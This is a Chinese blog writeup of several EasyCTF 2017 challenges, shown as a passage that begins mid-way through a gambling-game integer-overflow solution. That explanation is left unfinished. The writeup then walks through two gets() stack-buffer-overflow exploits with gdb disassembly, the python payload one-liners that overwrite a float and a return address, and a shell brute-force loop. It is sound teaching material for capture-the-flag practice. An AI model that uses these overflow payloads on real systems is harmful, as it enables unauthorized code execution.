                  &std::cout,

                  "Try your luck and gain access to our exclusive club!",

                  v4);

  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);

  while ( 1 )

  {

    std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);

    v6 = networth;

    LODWORD(v8) = std::operator<<<std::char_traits<char>>(&std::cout, "Your net worth is: $", v7);

    LODWORD(v9) = std::ostream::operator<<(v8, (unsigned int)v6);

    v10 = v9;

    std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);

    if ( networth > 2000000000 )

      break;

    LODWORD(v13) = std::operator<<<std::char_traits<char>>(

                     &std::cout,

                     "Please enter how much you would like to bet:",

                     v11);

    std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);

    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v23);

    std::getline<char,std::char_traits<char>,std::allocator<char>>(&_TMC_END__, &v23);

    v14 = std::operator|(16LL, 8LL);

    std::__cxx11::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::basic_stringstream(

      &v24,

      &v23,

      (unsigned int)v14);

    std::istream::operator>>(&v24, &v22);

    v16 = (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::eof(&v25) ^ 1

       || (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::fail(&v25);

    if ( v16 )

    {

      std::operator<<<std::char_traits<char>>(&std::cout, "That was not a valid number :( ", v15);

    }

    else if ( v22 > 0 )

    {

      if ( v22 <= 100000000 )

      {

        if ( (unsigned __int8)gamble() ^ 1 )

        {

          LODWORD(v20) = std::operator<<<std::char_traits<char>>(&std::cout, "Sorry, I'm afraid you've lost :( ", v19);

          std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);

          networth -= v22;

        }

        else

        {

          LODWORD(v21) = std::operator<<<std::char_traits<char>>(&std::cout, "Congratulations, you won!", v19);

          std::ostream::operator<<(v21, &std::endl<char,std::char_traits<char>>);

          networth += v22;

        }

      }

      else

      {

        LODWORD(v18) = std::operator<<<std::char_traits<char>>(

                         &std::cout,

                         "Sorry, the most we can allow you to bet is $100,000,000",

                         v15);

        std::ostream::operator<<(v18, &std::endl<char,std::char_traits<char>>);

      }

    }

    else

    {

      LODWORD(v17) = std::operator<<<std::char_traits<char>>(&std::cout, "You must bet a positive amount", v15);

      std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);

    }

    std::__cxx11::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::~basic_stringstream((__int64)&v24);

    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v23);

  }

  printflag(v10, (__int64)&std::endl<char,std::char_traits<char>>, v11);

  return 0;

}

整型溢出问题大致先看了一下逻辑只要满足networth > 2000000000就可以跳出while循环获取到flagnetwork是int类型的而在

        if ( (unsigned __int8)gamble() ^ 1 )

        {

          LODWORD(v20) = std::operator<<<std::char_traits<char>>(&std::cout, "Sorry, I'm afraid you've lost :( ", v19);

          std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);

          networth -= v22;

        }

中并没有先判断network值是否小于0就直接相减这样导致余额为负也还可以继续赌(和)博谐

32位下int: 4 byte = 32 bit 有符号signed范围2^31-1 ~ -2^31 即2147483647 ~ -2147483648当我们的余额小于还小于-2147483648时就会溢出而溢出处理是环形的画个简图

Doubly Dangerous

problem

There seems to be an issue with this binary. Can you exploit it? View the problem in the shell server /problems/doubly_dangerous directory.

solution

int __cdecl main(int argc, const char **argv, const char **envp)

{

  char s; // [sp+Ch] [bp-4Ch]@1

  float v5; // [sp+4Ch] [bp-Ch]@1

  v5 = 0.0;

  puts("Give me a string: ");

  gets(&s);

  if ( 11.28125 == v5 )

  {

    puts("Success! Here is your flag:");

    give_flag();

  }

  else

  {

    puts("nope!");

  }

  return 0;

}

我们要做的就是让 if ( 11.28125 == v5 ) 成立又使用了 gets() ,估计与溢出有关。运行一下

sunnyelf@ubuntu:~/Desktop$ ./doubly_dangerous 

Give me a string: 

flag

nope!

sunnyelf@ubuntu:~/Desktop$ ./doubly_dangerous

Give me a string: 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

nope!

Segmentation fault (core dumped)

果然是溢出于是gdb看一下

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

   0x08048607 <+0>:    lea    ecx,[esp+0x4]

   0x0804860b <+4>:    and    esp,0xfffffff0

   0x0804860e <+7>:    push   DWORD PTR [ecx-0x4]

   0x08048611 <+10>:    push   ebp

   0x08048612 <+11>:    mov    ebp,esp

   0x08048614 <+13>:    push   ecx

   0x08048615 <+14>:    sub    esp,0x54

   0x08048618 <+17>:    fldz   

   0x0804861a <+19>:    fstp   DWORD PTR [ebp-0xc]

   0x0804861d <+22>:    sub    esp,0xc

   0x08048620 <+25>:    push   0x8048735

   0x08048625 <+30>:    call   0x8048410 <puts@plt>

   0x0804862a <+35>:    add    esp,0x10

   0x0804862d <+38>:    sub    esp,0xc

   0x08048630 <+41>:    lea    eax,[ebp-0x4c]

   0x08048633 <+44>:    push   eax

   0x08048634 <+45>:    call   0x80483e0 <gets@plt>

   0x08048639 <+50>:    add    esp,0x10

   0x0804863c <+53>:    fld    DWORD PTR [ebp-0xc]

   0x0804863f <+56>:    fld    DWORD PTR ds:0x804876c

   0x08048645 <+62>:    fucomip st,st(1)

   0x08048647 <+64>:    jp     0x804866c <main+101>

---Type <return> to continue, or q <return> to quit---c

   0x08048649 <+66>:    fld    DWORD PTR ds:0x804876c

   0x0804864f <+72>:    fucomip st,st(1)

   0x08048651 <+74>:    fstp   st(0)

   0x08048653 <+76>:    jne    0x804866e <main+103>

   0x08048655 <+78>:    sub    esp,0xc

   0x08048658 <+81>:    push   0x8048748

   0x0804865d <+86>:    call   0x8048410 <puts@plt>

   0x08048662 <+91>:    add    esp,0x10

   0x08048665 <+94>:    call   0x804857b <give_flag>

   0x0804866a <+99>:    jmp    0x804867e <main+119>

   0x0804866c <+101>:    fstp   st(0)

   0x0804866e <+103>:    sub    esp,0xc

   0x08048671 <+106>:    push   0x8048764

   0x08048676 <+111>:    call   0x8048410 <puts@plt>

   0x0804867b <+116>:    add    esp,0x10

   0x0804867e <+119>:    mov    eax,0x0

   0x08048683 <+124>:    mov    ecx,DWORD PTR [ebp-0x4]

   0x08048686 <+127>:    leave  

   0x08048687 <+128>:    lea    esp,[ecx-0x4]

   0x0804868a <+131>:    ret    

End of assembler dump.

大致看了之后看到其中的

   0x0804863c <+53>:    fld    DWORD PTR [ebp-0xc]

   0x0804863f <+56>:    fld    DWORD PTR ds:0x804876c

   0x08048645 <+62>:    fucomip st,st(1)

根据题意就是溢出覆盖 ebp-0xc 的值使之和 0x804876c 所指的值相等。于是不断尝试输入查看 ebp-0xc 所指的值的变化当输入64个A字符时没有覆盖

(gdb) set disassembly-flavor intel

(gdb) b main

Breakpoint 1 at 0x8048615

(gdb) r < 64A.txt 

Starting program: /home/sunnyelf/Desktop/doubly_dangerous < 64A.txt

Breakpoint 1, 0x08048615 in main ()

(gdb) x/wx $ebp-0xc

0xbffff0fc: 0x080486b1

当输入65个A字符时开始覆盖A字符的ASCII码的十六进制是41

(gdb) r < 65A.txt 

Starting program: /home/sunnyelf/Desktop/doubly_dangerous < 65A.txt

Breakpoint 1, 0x08048615 in main ()

(gdb) x/wx $ebp-0xc

0xbffff0fc:    0x08048641

接下再看一下 0x804876c 所指的值

(gdb) x/wx 0x804876c

0x804876c: 0x41348000

于是构造payload ‘A’ * 64 + ‘\x00\x80\x34\x41′

python -c "print 'A'*64 + '\x00\x80\x34\x41'" | ./doubly_dangerous

Give me a string: 

Success! Here is your flag:

easyctf{bofs_and_floats_are_d0uble_tr0uble!}

Simple Rop

problem

On the shell there is a folder /problems/simple-rop.

Read flag.txt

Source

Binary

solution

// simple-rop.c

#define _GNU_SOURCE

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

void print_flag();

void what_did_you_say();

int main(int argc, char* argv[])

{

    gid_t gid = getegid();

    setresgid(gid, gid, gid);

    what_did_you_say();

    return 0;

}

void print_flag()

{

    system("cat flag.txt");

}

void what_did_you_say()

{

    char buff[64];

    gets(buff);

    printf("You said: %s\n", buff);

}

看了源码很显然要让我们调用print_flag()函数于是先gdb看一下print_flag()函数的地址

(gdb) disas print_flag

Dump of assembler code for function print_flag:

   0x0804851a <+0>:    push   %ebp

   0x0804851b <+1>:    mov    %esp,%ebp

   0x0804851d <+3>:    sub    $0x8,%esp

   0x08048520 <+6>:    sub    $0xc,%esp

   0x08048523 <+9>:    push   $0x80485e0

   0x08048528 <+14>:    call   0x80483a0 <system@plt>

   0x0804852d <+19>:    add    $0x10,%esp

   0x08048530 <+22>:    nop

   0x08048531 <+23>:    leave  

   0x08048532 <+24>:    ret    

End of assembler dump.

地址为0x0804851a缓存为64字符所以写个shell脚本跑一下

#!/bin/bash  

for i in {64..80};  

do

    python -c "print 'A' * $i + '\x1a\x85\x04\x08'" | ./simple-rop

done

当跑到 python -c ‘print “A”*76+”\x1a\x85\x04\x08″‘ | ./simple-rop 成功调用print_flag()函数

easyctf{r0p_7o_v1ct0ry}

最后欢迎表哥来博客玩耍P

* 本文作者:精灵

未经允许不得转载:安全路透社 » EasyCTF 2017 Writeup

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册